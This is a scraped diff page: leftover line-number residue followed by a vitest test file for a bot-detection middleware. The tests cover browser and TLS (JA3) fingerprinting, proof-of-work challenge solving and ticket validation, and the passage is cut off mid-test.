expect(score2).toBe(
|
|
1668
|
-
|
|
1669
|
-
}
|
|
1670
|
-
|
|
1671
|
-
|
|
1672
|
-
|
|
1673
|
-
|
|
1674
|
-
|
|
1675
|
-
|
|
1676
|
-
|
|
1677
|
-
|
|
1678
|
-
|
|
1679
|
-
|
|
1680
|
-
|
|
1681
|
-
|
|
1682
|
-
|
|
1683
|
-
|
|
1684
|
-
|
|
1685
|
-
|
|
1686
|
-
|
|
1687
|
-
|
|
1688
|
-
|
|
1689
|
-
|
|
1690
|
-
|
|
1691
|
-
const
|
|
1692
|
-
const
|
|
1693
|
-
|
|
1694
|
-
|
|
1695
|
-
|
|
1696
|
-
|
|
1697
|
-
|
|
1698
|
-
const
|
|
1699
|
-
|
|
1700
|
-
|
|
1701
|
-
|
|
1702
|
-
|
|
1703
|
-
|
|
1704
|
-
|
|
1705
|
-
|
|
1706
|
-
|
|
1707
|
-
|
|
1708
|
-
|
|
1709
|
-
|
|
1710
|
-
|
|
1711
|
-
|
|
1712
|
-
|
|
1713
|
-
|
|
1714
|
-
|
|
1715
|
-
|
|
1716
|
-
|
|
1717
|
-
|
|
1718
|
-
|
|
1719
|
-
|
|
1720
|
-
|
|
1721
|
-
|
|
1722
|
-
|
|
1723
|
-
const deviceData = {
|
|
1724
|
-
|
|
1725
|
-
|
|
1726
|
-
|
|
1727
|
-
|
|
1728
|
-
|
|
1729
|
-
|
|
1730
|
-
const
|
|
1731
|
-
|
|
1732
|
-
|
|
1733
|
-
|
|
1734
|
-
|
|
1735
|
-
|
|
1736
|
-
|
|
1737
|
-
|
|
1738
|
-
|
|
1739
|
-
|
|
1740
|
-
|
|
1741
|
-
|
|
1742
|
-
|
|
1743
|
-
|
|
1744
|
-
|
|
1745
|
-
|
|
1746
|
-
|
|
1747
|
-
|
|
1748
|
-
|
|
1749
|
-
|
|
1750
|
-
|
|
1751
|
-
|
|
1752
|
-
|
|
1753
|
-
|
|
1754
|
-
|
|
1755
|
-
|
|
1756
|
-
|
|
1757
|
-
|
|
1758
|
-
|
|
1759
|
-
|
|
1760
|
-
|
|
1761
|
-
const {
|
|
1762
|
-
|
|
1763
|
-
|
|
1764
|
-
|
|
1765
|
-
|
|
1766
|
-
|
|
1767
|
-
|
|
1768
|
-
|
|
1769
|
-
|
|
1770
|
-
|
|
1771
|
-
|
|
1772
|
-
|
|
1773
|
-
|
|
1774
|
-
|
|
1775
|
-
|
|
1776
|
-
|
|
1777
|
-
|
|
1778
|
-
|
|
1779
|
-
|
|
1780
|
-
|
|
1781
|
-
|
|
1782
|
-
|
|
1783
|
-
|
|
1784
|
-
|
|
1785
|
-
|
|
1786
|
-
|
|
1787
|
-
|
|
1788
|
-
|
|
1789
|
-
|
|
1790
|
-
|
|
1791
|
-
|
|
1792
|
-
|
|
1793
|
-
|
|
1794
|
-
|
|
1795
|
-
|
|
1796
|
-
|
|
1797
|
-
|
|
1798
|
-
|
|
1799
|
-
|
|
1800
|
-
|
|
1801
|
-
|
|
1802
|
-
|
|
1803
|
-
|
|
1804
|
-
|
|
1805
|
-
|
|
1806
|
-
|
|
1807
|
-
|
|
1808
|
-
|
|
1809
|
-
|
|
1810
|
-
|
|
1811
|
-
|
|
1812
|
-
|
|
1813
|
-
|
|
1814
|
-
|
|
1815
|
-
|
|
1816
|
-
|
|
1817
|
-
|
|
1818
|
-
|
|
1819
|
-
|
|
1820
|
-
|
|
1821
|
-
|
|
1822
|
-
|
|
1823
|
-
|
|
1824
|
-
|
|
1825
|
-
const
|
|
1826
|
-
|
|
1827
|
-
|
|
1828
|
-
|
|
1829
|
-
|
|
1830
|
-
|
|
1831
|
-
|
|
1832
|
-
|
|
1833
|
-
|
|
1834
|
-
|
|
1835
|
-
|
|
1836
|
-
|
|
1837
|
-
|
|
1838
|
-
|
|
1839
|
-
|
|
1840
|
-
|
|
1841
|
-
|
|
1842
|
-
|
|
1843
|
-
|
|
1844
|
-
|
|
1845
|
-
|
|
1846
|
-
const
|
|
1847
|
-
|
|
1848
|
-
|
|
1849
|
-
|
|
1850
|
-
|
|
1851
|
-
|
|
1852
|
-
|
|
1853
|
-
|
|
1854
|
-
|
|
1855
|
-
|
|
1856
|
-
|
|
1857
|
-
|
|
1858
|
-
|
|
1859
|
-
|
|
1860
|
-
|
|
1861
|
-
const
|
|
1862
|
-
|
|
1863
|
-
|
|
1864
|
-
|
|
1865
|
-
|
|
1866
|
-
|
|
1867
|
-
|
|
1868
|
-
|
|
1869
|
-
|
|
1870
|
-
const
|
|
1871
|
-
const
|
|
1872
|
-
|
|
1873
|
-
|
|
1874
|
-
|
|
1875
|
-
|
|
1876
|
-
|
|
1877
|
-
|
|
1878
|
-
|
|
1879
|
-
|
|
1880
|
-
|
|
1881
|
-
|
|
1882
|
-
|
|
1883
|
-
|
|
1884
|
-
|
|
1885
|
-
|
|
1886
|
-
|
|
1887
|
-
|
|
1888
|
-
|
|
1889
|
-
|
|
1890
|
-
|
|
1891
|
-
|
|
1892
|
-
|
|
1893
|
-
|
|
1894
|
-
|
|
1895
|
-
|
|
1896
|
-
|
|
1897
|
-
const
|
|
1898
|
-
|
|
1899
|
-
|
|
1900
|
-
expect(
|
|
1901
|
-
|
|
1902
|
-
|
|
1903
|
-
|
|
1904
|
-
|
|
1905
|
-
|
|
1906
|
-
|
|
1907
|
-
|
|
1908
|
-
const
|
|
1909
|
-
const
|
|
1910
|
-
|
|
1911
|
-
|
|
1912
|
-
|
|
1913
|
-
|
|
1914
|
-
|
|
1915
|
-
}
|
|
1916
|
-
|
|
1917
|
-
|
|
1918
|
-
|
|
1919
|
-
|
|
1920
|
-
|
|
1921
|
-
|
|
1922
|
-
|
|
1923
|
-
|
|
1924
|
-
|
|
1925
|
-
|
|
1926
|
-
|
|
1927
|
-
it('should
|
|
1928
|
-
const
|
|
1929
|
-
const
|
|
1930
|
-
|
|
1931
|
-
|
|
1932
|
-
|
|
1933
|
-
|
|
1934
|
-
|
|
1935
|
-
|
|
1936
|
-
|
|
1937
|
-
|
|
1938
|
-
|
|
1939
|
-
|
|
1940
|
-
|
|
1941
|
-
|
|
1942
|
-
|
|
1943
|
-
|
|
1944
|
-
|
|
1945
|
-
|
|
1946
|
-
|
|
1947
|
-
|
|
1948
|
-
|
|
1949
|
-
|
|
1950
|
-
|
|
1951
|
-
const
|
|
1952
|
-
|
|
1953
|
-
|
|
1954
|
-
|
|
1955
|
-
|
|
1956
|
-
|
|
1957
|
-
|
|
1958
|
-
|
|
1959
|
-
|
|
1960
|
-
|
|
1961
|
-
|
|
1962
|
-
|
|
1963
|
-
|
|
1964
|
-
|
|
1965
|
-
|
|
1966
|
-
|
|
1967
|
-
|
|
1968
|
-
|
|
1969
|
-
|
|
1970
|
-
|
|
1971
|
-
|
|
1972
|
-
|
|
1973
|
-
|
|
1974
|
-
|
|
1975
|
-
});
|
|
1976
|
-
|
|
1977
|
-
it('should
|
|
1978
|
-
const
|
|
1979
|
-
|
|
1980
|
-
|
|
1981
|
-
|
|
1982
|
-
|
|
1983
|
-
};
|
|
1984
|
-
|
|
1985
|
-
|
|
1986
|
-
|
|
1987
|
-
|
|
1988
|
-
|
|
1989
|
-
|
|
1990
|
-
|
|
1991
|
-
const
|
|
1992
|
-
|
|
1993
|
-
|
|
1994
|
-
|
|
1995
|
-
|
|
1996
|
-
|
|
1997
|
-
|
|
1998
|
-
expect(
|
|
1999
|
-
|
|
2000
|
-
|
|
2001
|
-
|
|
2002
|
-
|
|
2003
|
-
|
|
2004
|
-
|
|
2005
|
-
);
|
|
2006
|
-
}
|
|
2007
|
-
|
|
2008
|
-
|
|
2009
|
-
|
|
2010
|
-
|
|
2011
|
-
|
|
2012
|
-
|
|
2013
|
-
|
|
2014
|
-
|
|
2015
|
-
|
|
2016
|
-
|
|
2017
|
-
|
|
2018
|
-
|
|
2019
|
-
const
|
|
2020
|
-
|
|
2021
|
-
|
|
2022
|
-
|
|
2023
|
-
|
|
2024
|
-
|
|
2025
|
-
|
|
2026
|
-
|
|
2027
|
-
|
|
2028
|
-
|
|
2029
|
-
|
|
2030
|
-
|
|
2031
|
-
|
|
2032
|
-
|
|
2033
|
-
|
|
2034
|
-
|
|
2035
|
-
|
|
2036
|
-
|
|
2037
|
-
|
|
2038
|
-
|
|
2039
|
-
|
|
2040
|
-
|
|
2041
|
-
|
|
2042
|
-
|
|
2043
|
-
|
|
2044
|
-
|
|
2045
|
-
|
|
2046
|
-
|
|
2047
|
-
|
|
2048
|
-
|
|
2049
|
-
|
|
2050
|
-
|
|
2051
|
-
|
|
2052
|
-
|
|
2053
|
-
|
|
2054
|
-
|
|
2055
|
-
|
|
2056
|
-
|
|
2057
|
-
|
|
2058
|
-
|
|
2059
|
-
|
|
2060
|
-
|
|
2061
|
-
expect(
|
|
2062
|
-
|
|
2063
|
-
|
|
2064
|
-
|
|
2065
|
-
|
|
2066
|
-
|
|
2067
|
-
|
|
2068
|
-
|
|
2069
|
-
|
|
2070
|
-
|
|
2071
|
-
|
|
2072
|
-
|
|
2073
|
-
};
|
|
2074
|
-
|
|
2075
|
-
|
|
2076
|
-
|
|
2077
|
-
|
|
2078
|
-
|
|
2079
|
-
|
|
2080
|
-
|
|
2081
|
-
|
|
2082
|
-
const {
|
|
2083
|
-
|
|
2084
|
-
|
|
2085
|
-
|
|
2086
|
-
|
|
2087
|
-
|
|
2088
|
-
|
|
2089
|
-
|
|
2090
|
-
|
|
2091
|
-
|
|
2092
|
-
|
|
2093
|
-
|
|
2094
|
-
|
|
2095
|
-
|
|
2096
|
-
|
|
2097
|
-
|
|
2098
|
-
|
|
2099
|
-
const
|
|
2100
|
-
|
|
2101
|
-
|
|
2102
|
-
expect(
|
|
2103
|
-
|
|
2104
|
-
|
|
2105
|
-
|
|
2106
|
-
|
|
2107
|
-
|
|
2108
|
-
|
|
2109
|
-
|
|
2110
|
-
|
|
2111
|
-
|
|
2112
|
-
|
|
2113
|
-
|
|
2114
|
-
|
|
2115
|
-
|
|
2116
|
-
|
|
2117
|
-
|
|
2118
|
-
//
|
|
2119
|
-
|
|
2120
|
-
|
|
2121
|
-
|
|
2122
|
-
|
|
2123
|
-
}
|
|
2124
|
-
|
|
2125
|
-
expect(
|
|
2126
|
-
|
|
2127
|
-
|
|
2128
|
-
|
|
2129
|
-
|
|
2130
|
-
|
|
2131
|
-
|
|
2132
|
-
|
|
2133
|
-
(
|
|
2134
|
-
|
|
2135
|
-
|
|
2136
|
-
|
|
2137
|
-
|
|
2138
|
-
|
|
2139
|
-
|
|
2140
|
-
|
|
2141
|
-
|
|
2142
|
-
|
|
2143
|
-
|
|
2144
|
-
|
|
2145
|
-
|
|
2146
|
-
|
|
2147
|
-
|
|
2148
|
-
|
|
2149
|
-
|
|
2150
|
-
|
|
2151
|
-
|
|
2152
|
-
|
|
2153
|
-
|
|
2154
|
-
|
|
2155
|
-
|
|
2156
|
-
|
|
2157
|
-
|
|
2158
|
-
|
|
2159
|
-
|
|
2160
|
-
|
|
2161
|
-
|
|
2162
|
-
|
|
2163
|
-
|
|
2164
|
-
|
|
2165
|
-
|
|
2166
|
-
|
|
2167
|
-
|
|
2168
|
-
|
|
2169
|
-
|
|
2170
|
-
|
|
2171
|
-
|
|
2172
|
-
|
|
2173
|
-
|
|
2174
|
-
|
|
2175
|
-
|
|
2176
|
-
|
|
2177
|
-
|
|
2178
|
-
|
|
2179
|
-
|
|
2180
|
-
|
|
2181
|
-
|
|
2182
|
-
|
|
2183
|
-
|
|
2184
|
-
|
|
2185
|
-
|
|
2186
|
-
|
|
2187
|
-
|
|
2188
|
-
|
|
2189
|
-
|
|
2190
|
-
|
|
2191
|
-
|
|
2192
|
-
|
|
2193
|
-
|
|
2194
|
-
|
|
2195
|
-
|
|
2196
|
-
|
|
2197
|
-
|
|
2198
|
-
|
|
2199
|
-
|
|
2200
|
-
|
|
2201
|
-
|
|
2202
|
-
|
|
2203
|
-
|
|
2204
|
-
|
|
2205
|
-
|
|
2206
|
-
|
|
2207
|
-
|
|
2208
|
-
|
|
2209
|
-
|
|
2210
|
-
|
|
2211
|
-
|
|
2212
|
-
|
|
2213
|
-
|
|
2214
|
-
|
|
2215
|
-
|
|
2216
|
-
|
|
2217
|
-
|
|
2218
|
-
|
|
2219
|
-
|
|
2220
|
-
});
|
|
2221
|
-
|
|
2222
|
-
|
|
2223
|
-
|
|
2224
|
-
|
|
2225
|
-
|
|
2226
|
-
|
|
2227
|
-
|
|
2228
|
-
|
|
2229
|
-
|
|
2230
|
-
|
|
2231
|
-
|
|
2232
|
-
|
|
2233
|
-
|
|
2234
|
-
expect(
|
|
2235
|
-
|
|
2236
|
-
|
|
2237
|
-
|
|
2238
|
-
|
|
2239
|
-
|
|
2240
|
-
|
|
2241
|
-
|
|
2242
|
-
|
|
2243
|
-
|
|
2244
|
-
|
|
2245
|
-
|
|
2246
|
-
|
|
2247
|
-
|
|
2248
|
-
|
|
2249
|
-
|
|
2250
|
-
|
|
2251
|
-
|
|
2252
|
-
|
|
2253
|
-
|
|
2254
|
-
|
|
2255
|
-
|
|
2256
|
-
|
|
2257
|
-
|
|
2258
|
-
|
|
2259
|
-
|
|
2260
|
-
|
|
2261
|
-
|
|
2262
|
-
|
|
2263
|
-
|
|
2264
|
-
|
|
2265
|
-
|
|
2266
|
-
|
|
2267
|
-
|
|
2268
|
-
|
|
2269
|
-
|
|
2270
|
-
|
|
2271
|
-
|
|
2272
|
-
|
|
2273
|
-
|
|
2274
|
-
|
|
2275
|
-
|
|
2276
|
-
|
|
2277
|
-
|
|
2278
|
-
|
|
2279
|
-
|
|
2280
|
-
|
|
2281
|
-
|
|
2282
|
-
|
|
2283
|
-
|
|
2284
|
-
|
|
2285
|
-
|
|
2286
|
-
|
|
2287
|
-
|
|
2288
|
-
|
|
2289
|
-
|
|
2290
|
-
|
|
2291
|
-
|
|
2292
|
-
|
|
2293
|
-
|
|
2294
|
-
|
|
2295
|
-
|
|
2296
|
-
|
|
2297
|
-
|
|
2298
|
-
|
|
2299
|
-
|
|
2300
|
-
|
|
2301
|
-
|
|
2302
|
-
|
|
2303
|
-
|
|
2304
|
-
|
|
2305
|
-
|
|
2306
|
-
|
|
2307
|
-
|
|
2308
|
-
|
|
2309
|
-
|
|
2310
|
-
|
|
2311
|
-
|
|
2312
|
-
|
|
2313
|
-
|
|
2314
|
-
|
|
2315
|
-
|
|
2316
|
-
|
|
2317
|
-
|
|
2318
|
-
|
|
2319
|
-
}
|
|
1
|
+
import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
|
|
2
|
+
import {createHash, createHmac} from 'node:crypto';
|
|
3
|
+
import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
|
|
4
|
+
import {readFileSync} from 'node:fs';
|
|
5
|
+
import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
|
|
6
|
+
import * as dns from 'node:dns/promises';
|
|
7
|
+
import * as fingerprint from '../fingerprint.js';
|
|
8
|
+
|
|
9
|
+
// Mock import.meta.env before importing the module that uses it
|
|
10
|
+
vi.mock('import-meta-env', () => ({
|
|
11
|
+
env: { NODE_ENV: 'test', POW_SECRET: 'fallback-dev-secret-32-chars-minimum' },
|
|
12
|
+
}));
|
|
13
|
+
// Mock readFileSync for custom challenge page tests
|
|
14
|
+
vi.mock('node:fs', async () => {
|
|
15
|
+
const actualFs = await vi.importActual('node:fs');
|
|
16
|
+
return { ...actualFs, readFileSync: vi.fn() };
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
const {
|
|
20
|
+
FingerprintEngine,
|
|
21
|
+
isTicketValid,
|
|
22
|
+
identifyRequest,
|
|
23
|
+
powMiddleware,
|
|
24
|
+
__internal,
|
|
25
|
+
configureStore,
|
|
26
|
+
getClientHintsInconsistencyScore,
|
|
27
|
+
verifyCpuTargetPoWAndGenerateTicket,
|
|
28
|
+
verifyMemoryPoW,
|
|
29
|
+
verifyTspChallenge,
|
|
30
|
+
startThresholdAutoTuning,
|
|
31
|
+
default_whitelist,
|
|
32
|
+
stopThresholdAutoTuning,
|
|
33
|
+
getCompositeDeviceHash,
|
|
34
|
+
} = fingerprint;
|
|
35
|
+
const { store, getRequestPatternScore, getDeviceHash } = __internal;
|
|
36
|
+
let { getBehaviorScore, getClickVarianceScore } = __internal;
|
|
37
|
+
// Mock the entire dns module
|
|
38
|
+
vi.mock('node:dns/promises');
|
|
39
|
+
|
|
40
|
+
describe('Fingerprint & PoW Security Suite', () => {
|
|
41
|
+
test('cyrb53 should be deterministic', () => {
|
|
42
|
+
const input = "test-string";
|
|
43
|
+
expect(cyrb53(input)).toBe(cyrb53(input));
|
|
44
|
+
expect(cyrb53("a")).not.toBe(cyrb53("b"));
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
describe('FingerprintBuilder', () => {
|
|
48
|
+
test('should handle null and undefined values gracefully', () => {
|
|
49
|
+
const builder = new FingerprintBuilder();
|
|
50
|
+
builder.add('key1', 'value1');
|
|
51
|
+
builder.add('key2', null);
|
|
52
|
+
builder.add('key3', undefined);
|
|
53
|
+
expect(builder.toString()).toBe('key1:6263243896157005');
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
test('comparison logic should handle various cases', () => {
|
|
57
|
+
const fp1 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
|
|
58
|
+
const fp2 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
|
|
59
|
+
const fp3 = new FingerprintBuilder().add('hw', '4_8').add('gpu', 'amd').toString();
|
|
60
|
+
const fp4 = new FingerprintBuilder().add('hw', '8_16').add('os', 'win32').toString(); // Partial match
|
|
61
|
+
|
|
62
|
+
expect(FingerprintBuilder.compare(fp1, fp2), "Identical FPs should return 1").toBe(1);
|
|
63
|
+
expect(FingerprintBuilder.compare(fp1, fp3), "Different FPs should have low similarity score").toBeLessThan(0.5);
|
|
64
|
+
expect(FingerprintBuilder.compare(fp1, fp4), "Partial match should return a score between 0 and 1").toBeGreaterThan(0);
|
|
65
|
+
expect(FingerprintBuilder.compare(fp1, fp4)).toBeLessThan(1);
|
|
66
|
+
expect(FingerprintBuilder.compare(fp1, ''), "Comparison with empty string should be 0").toBe(0);
|
|
67
|
+
expect(FingerprintBuilder.compare(null, fp2), "Comparison with null should be 0").toBe(0);
|
|
68
|
+
});
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
describe('JA3 Fingerprinting', () => {
|
|
72
|
+
|
|
73
|
+
const mockClientHello = {
|
|
74
|
+
version: 'TLSv1.3',
|
|
75
|
+
ciphers: [4865, 4866],
|
|
76
|
+
extensions: [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21],
|
|
77
|
+
ellipticCurves: [29, 23, 24],
|
|
78
|
+
ellipticCurvePointFormats: [0],
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
afterEach(() => {
|
|
82
|
+
// Restore any spies after each test in this block
|
|
83
|
+
vi.restoreAllMocks();
|
|
84
|
+
});
|
|
85
|
+
|
|
86
|
+
test('should prioritize JA3 hash from x-ja3-hash header', async () => {
|
|
87
|
+
const context = {
|
|
88
|
+
headers: { 'x-ja3-hash': 'header-provided-ja3-hash' },
|
|
89
|
+
rawReq: { socket: { clientHello: mockClientHello } } // Even if socket data exists
|
|
90
|
+
};
|
|
91
|
+
// We test getTlsFingerprint directly to isolate the logic.
|
|
92
|
+
const { ja3 } = fingerprint.__internal.getTlsFingerprint(context);
|
|
93
|
+
expect(ja3).toBe('header-provided-ja3-hash');
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
test('should calculate JA3 hash from clientHello if header is missing', () => {
|
|
97
|
+
const context = {
|
|
98
|
+
headers: {},
|
|
99
|
+
rawReq: { socket: { clientHello: mockClientHello } }
|
|
100
|
+
};
|
|
101
|
+
const { ja3 } = fingerprint.__internal.getTlsFingerprint(context); // Directly call the function
|
|
102
|
+
// We need to calculate the expected JA3 hash to verify it.
|
|
103
|
+
const expectedJa3String = '772,4865-4866,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0';
|
|
104
|
+
const expectedJa3Md5 = createHash('md5').update(expectedJa3String).digest('hex');
|
|
105
|
+
const expectedComponentHash = cyrb53(expectedJa3Md5);
|
|
106
|
+
|
|
107
|
+
const deviceHash = getCompositeDeviceHash(context); // Now call getCompositeDeviceHash after getTlsFingerprint
|
|
108
|
+
expect(deviceHash).toContain(`ja3:${expectedComponentHash}`);
|
|
109
|
+
expect(ja3).toBe(expectedJa3Md5);
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
test('should not include JA3 hash if no data is available', () => {
|
|
113
|
+
// Ensure getTlsFingerprint returns nulls for this specific test
|
|
114
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
|
|
115
|
+
|
|
116
|
+
const context = {
|
|
117
|
+
headers: {},
|
|
118
|
+
rawReq: { socket: {} } // No clientHello
|
|
119
|
+
};
|
|
120
|
+
const deviceHash = getCompositeDeviceHash(context);
|
|
121
|
+
expect(deviceHash).not.toContain('ja3:');
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
test('should handle missing rawReq or socket gracefully', () => {
|
|
125
|
+
// Ensure getTlsFingerprint returns nulls for this specific test
|
|
126
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
|
|
127
|
+
|
|
128
|
+
const context1 = { headers: {} }; // No rawReq
|
|
129
|
+
const context2 = { headers: {}, rawReq: {} }; // No socket
|
|
130
|
+
|
|
131
|
+
const deviceHash1 = getCompositeDeviceHash(context1);
|
|
132
|
+
const deviceHash2 = getCompositeDeviceHash(context2);
|
|
133
|
+
|
|
134
|
+
expect(deviceHash1).not.toContain('ja3:');
|
|
135
|
+
expect(deviceHash2).not.toContain('ja3:');
|
|
136
|
+
});
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
describe('CPU Target PoW Workflow', () => {
|
|
142
|
+
const ip = '127.0.0.1';
|
|
143
|
+
const nonce = 'test-nonce';
|
|
144
|
+
const suspicionFactor = 0.1; // Low suspicion for a quick test
|
|
145
|
+
const clientSecret = 'my-super-secret-client-key';
|
|
146
|
+
|
|
147
|
+
test('should solve and verify correctly without a clientSecret (fallback)', async () => {
|
|
148
|
+
const securityConfig = { cpu: { minDifficultyBits: 2, maxDifficultyBits: 4 } }; // Difficulté plus faible pour le test
|
|
149
|
+
let solution = 0;
|
|
150
|
+
const target = __internal.calculateTarget(suspicionFactor, securityConfig);
|
|
151
|
+
const baseBlock = new TextEncoder().encode(`${nonce}::test-fp-string:`);
|
|
152
|
+
while (true) {
|
|
153
|
+
const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
|
|
154
|
+
const hash = createHash('sha256').update(finalBlock).digest('hex');
|
|
155
|
+
if (BigInt('0x' + hash) < target) break;
|
|
156
|
+
solution++;
|
|
157
|
+
}
|
|
158
|
+
const challengeContext = { cpuTarget: target.toString(16), baseBlock };
|
|
159
|
+
|
|
160
|
+
const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
|
|
161
|
+
expect(ticket, "Ticket should be generated for a valid solution without secret").toBeTruthy();
|
|
162
|
+
expect(await isTicketValid(ip, ticket), "Ticket should be valid").toBe(true);
|
|
163
|
+
});
|
|
164
|
+
|
|
165
|
+
test('should solve and verify correctly WITH a clientSecret', async () => {
|
|
166
|
+
const securityConfig = { cpu: { minDifficultyBits: 4 } };
|
|
167
|
+
let solution = 0;
|
|
168
|
+
const target = __internal.calculateTarget(suspicionFactor, securityConfig);
|
|
169
|
+
// Client-side simulation now includes the secret
|
|
170
|
+
const solverFingerprint = 'fp-with-secret';
|
|
171
|
+
const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
|
|
172
|
+
|
|
173
|
+
while (true) {
|
|
174
|
+
const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
|
|
175
|
+
const hash = createHash('sha256').update(finalBlock).digest('hex');
|
|
176
|
+
if (BigInt('0x' + hash) < target) break;
|
|
177
|
+
solution++;
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
const challengeContext = { cpuTarget: target.toString(16), baseBlock };
|
|
181
|
+
|
|
182
|
+
// Server-side verification includes the secret
|
|
183
|
+
const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
|
|
184
|
+
expect(ticket, "Ticket should be generated for a valid solution with secret").toBeTruthy();
|
|
185
|
+
expect(await isTicketValid(ip, ticket), "Ticket should be valid for the same IP").toBe(true);
|
|
186
|
+
expect(await isTicketValid('1.1.1.1', ticket), "Ticket should not be valid for a different IP").toBe(false);
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
test('should solve a medium-difficulty challenge within a reasonable time', async () => {
|
|
190
|
+
const ip = '127.0.0.1';
|
|
191
|
+
const nonce = 'test-nonce-perf';
|
|
192
|
+
const suspicionFactor = 0.5; // "Niveau 2"
|
|
193
|
+
const clientSecret = 'perf-secret';
|
|
194
|
+
const securityConfig = { cpu: { minDifficultyBits: 18, maxDifficultyBits: 24 } };
|
|
195
|
+
|
|
196
|
+
// Calcule la cible comme le ferait le serveur
|
|
197
|
+
const target = __internal.calculateTarget(suspicionFactor, securityConfig);
|
|
198
|
+
const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}::`);
|
|
199
|
+
|
|
200
|
+
// Simule la résolution du challenge
|
|
201
|
+
let solution = 0;
|
|
202
|
+
while (true) {
|
|
203
|
+
const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
|
|
204
|
+
const hash = createHash('sha256').update(finalBlock).digest('hex');
|
|
205
|
+
if (BigInt('0x' + hash) < target) break;
|
|
206
|
+
solution++;
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
expect(solution).toBeGreaterThan(0); // Vérifie que le challenge a bien été résolu
|
|
210
|
+
}, 40000); // Timeout de 8 secondes pour ce test
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
test('PoW Ticket Expiration', async () => {
|
|
214
|
+
const ip = '127.0.0.1';
|
|
215
|
+
// Simulate an expired ticket by manipulating the string (for testing)
|
|
216
|
+
const expiredTimestamp = Date.now() - 1000;
|
|
217
|
+
const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiredTimestamp}`).digest("hex");
|
|
218
|
+
const ticket = `${expiredTimestamp}:${signature}`;
|
|
219
|
+
expect(await isTicketValid(ip, ticket), "An expired ticket should be rejected").toBe(false);
|
|
220
|
+
});
|
|
221
|
+
|
|
222
|
+
describe('Memory PoW Verification', () => {
|
|
223
|
+
const nonce = 'test-nonce-mem';
|
|
224
|
+
const difficulty = 1; // 1MB for a quick test
|
|
225
|
+
const clientSecret = 'my-mem-secret';
|
|
226
|
+
|
|
227
|
+
const solveMemPoW = (seed, diff) => {
|
|
228
|
+
const size = diff * 1024 * 1024;
|
|
229
|
+
const buffer = new Uint32Array(size / 4);
|
|
230
|
+
let h = new TextEncoder().encode(seed).reduce((acc, v) => acc + v, 0);
|
|
231
|
+
for (let i = 0; i < buffer.length; i++) {
|
|
232
|
+
buffer[i] = (h = Math.imul(h ^ i, 1597334677));
|
|
233
|
+
}
|
|
234
|
+
let clientSolution = 0;
|
|
235
|
+
const iterations = size / 16;
|
|
236
|
+
// Align the test solver with the actual implementation in fingerprint.js
|
|
237
|
+
// This uses a data-dependent memory access pattern, which is more secure.
|
|
238
|
+
let addr = buffer.length > 0 ? buffer[0] % buffer.length : 0;
|
|
239
|
+
for (let i = 0; i < iterations; i++) {
|
|
240
|
+
addr = buffer[addr] % buffer.length;
|
|
241
|
+
clientSolution ^= addr;
|
|
242
|
+
}
|
|
243
|
+
return clientSolution;
|
|
244
|
+
};
|
|
245
|
+
|
|
246
|
+
test('should verify correctly without a clientSecret', () => {
|
|
247
|
+
const clientSolution = solveMemPoW(`:${nonce}:`, difficulty);
|
|
248
|
+
expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, undefined), "Valid memory PoW solution should be accepted").toBe(true);
|
|
249
|
+
expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, undefined), "Invalid memory PoW solution should be rejected").toBe(false);
|
|
250
|
+
});
|
|
251
|
+
|
|
252
|
+
test('should verify correctly WITH a clientSecret', () => {
|
|
253
|
+
const seed = `:${nonce}:${clientSecret}`;
|
|
254
|
+
const clientSolution = solveMemPoW(seed, difficulty);
|
|
255
|
+
|
|
256
|
+
// Server-side verification
|
|
257
|
+
expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, clientSecret), "Valid memory PoW with secret should be accepted").toBe(true);
|
|
258
|
+
expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, clientSecret), "Invalid memory PoW with secret should be rejected").toBe(false);
|
|
259
|
+
expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, 'wrong-secret'), "Memory PoW with wrong secret should be rejected").toBe(false);
|
|
260
|
+
});
|
|
261
|
+
});
|
|
262
|
+
|
|
263
|
+
test('TSP Challenge Verification', () => {
|
|
264
|
+
const nonce = 'test-nonce-tsp';
|
|
265
|
+
const cities = [{x: 10, y: 10}, {x: 90, y: 90}, {x: 10, y: 90}, {x: 90, y: 10}];
|
|
266
|
+
const numCities = cities.length;
|
|
267
|
+
const targetMaxDistance = 350; // A reasonable target for this square
|
|
268
|
+
|
|
269
|
+
// A valid, optimal path for this square is [0, 2, 1, 3] or similar
|
|
270
|
+
